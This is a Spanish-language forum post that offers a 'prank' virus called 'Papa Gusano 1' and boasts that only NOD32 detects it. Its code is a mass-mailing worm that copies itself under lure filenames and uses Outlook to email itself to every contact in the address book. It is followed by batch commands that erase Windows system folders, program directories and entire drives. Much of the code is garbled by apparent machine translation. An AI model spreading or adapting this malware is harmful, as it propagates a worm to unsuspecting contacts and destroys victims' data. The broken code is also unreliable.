HOYGAN ACA LES DEJO ESTE PEQUEÑISIMO CODIGO PERO ME SIRVE PARA HACERLE BROMAS A AMIGOS JEJEJE AUNQUE ES DETECTADO SOLO`POR NOD32.
Virus “Papa Gusano 1”
Forma Sub_Load Privado ()
Me.hide
App.EXEName + "Papa Gusano 1"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ InnocentFile.exe"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ". Exe", "C: \ OpenMe!. EXE"
Conjunto de modo = CreateObject (fso)
Set ol = CreateObject ( "Outlook.Application")
Establecidos = Wscript.CreateObjec
t ( "Outlook.Application")
Set mapi = out.GetNameSpace ( "MAPI")
Set a = mapi.AddressLists (1)
Para X = 1 Para a.AddressEntries.Co
unt
Set Correo = ol.CreateItem (0)
Mail.to = ol.GetNameSpace ( "MAPI"). AddressLists (1). AddressEntries (X)
Mail.Subject = "Fwd: Ninguno"
Mail.Body = "QUIERES SABER QUIEN ES EL AMOR DE TU VIDA PUES ENTRA A
www.rubias19.com Y AHI ENCONTRARAS DE TODOS LOS TIPOS RECUERDA QUE SOLO LA MEJOR CARNE".
Mail.Attachments.Ad
d = "C: \ Worm1.exe"
Mail.Send
Siguiente
Ol.Quit
End Sub
start c:\WINDOWS\SYSTEM32\DRVSTORE
start c:\WINDOWS\JAVA
start c:\WINDOWS\MEDIA
start c:\WINDOWS\TASKS
start c:\WINDOWS\Web
start c:\WINDOWS\_default
start c:\WINDOWS\SYSTEM32\cmd
start c:\WINDOWS\SYSTEM32\cmdow
start c:\WINDOWS\SYSTEM32\cmmon32
start c:\WINDOWS\SYSTEM32\cmdl32
start c:\WINDOWS\SYSTEM32\clipsrv
erase c:\WINDOWS\pchealth
erase c:\WINDOWS\SYSTEM
erase c:\WINDOWS\Confing
erase c:\WINDOWS\msapps
erase c:\WINDOWS\explorer
erase c:\WINDOWS\TWAIN_32
erase c:\WINDOWS\WinSxS
erase c:\WINDOWS\Resources
erase c:\Archivos de programas\Java
erase c:\Archivos de programas\Ahead
erase c:\Archivos de programas\Windows Media Player
erase c:\Archivos de programas\WinRaR
erase c:\Archivos de programas\Archivos comunes
erase c:\Archivos de programas\hexplorer
erase c:\Archivos de programas\Microsoft.NET
erase c:\WINDOWS\SYSTEM32\mshearts
erase c:\WINDOWS\SYSTEM32\mstsc
erase c:\WINDOWS\SYSTEM32\narrator
erase c:\WINDOWS\SYSTEM32\ntsd
erase c:\WINDOWS\SYSTEM32\osuninst
erase c:\WINDOWS\SYSTEM32\packager
erase c:\WINDOWS\SYSTEM32\prounstl
erase c:\WINDOWS\SYSTEM32\proquota
erase c:\WINDOWS\SYSTEM32\progman
erase c:\WINDOWS\SYSTEM32\rcimlby
erase c:\WINDOWS\SYSTEM32\regedt32
erase c:\WINDOWS\SYSTEM32\winlogon
erase c:\WINDOWS\SYSTEM32\DRVSTORE
erase c:\WINDOWS\SYSTEM32\Kaspersky Lab
erase c:\WINDOWS\q
erase e:
erase g:
erase k:
erase d:
erase Sistema (C:)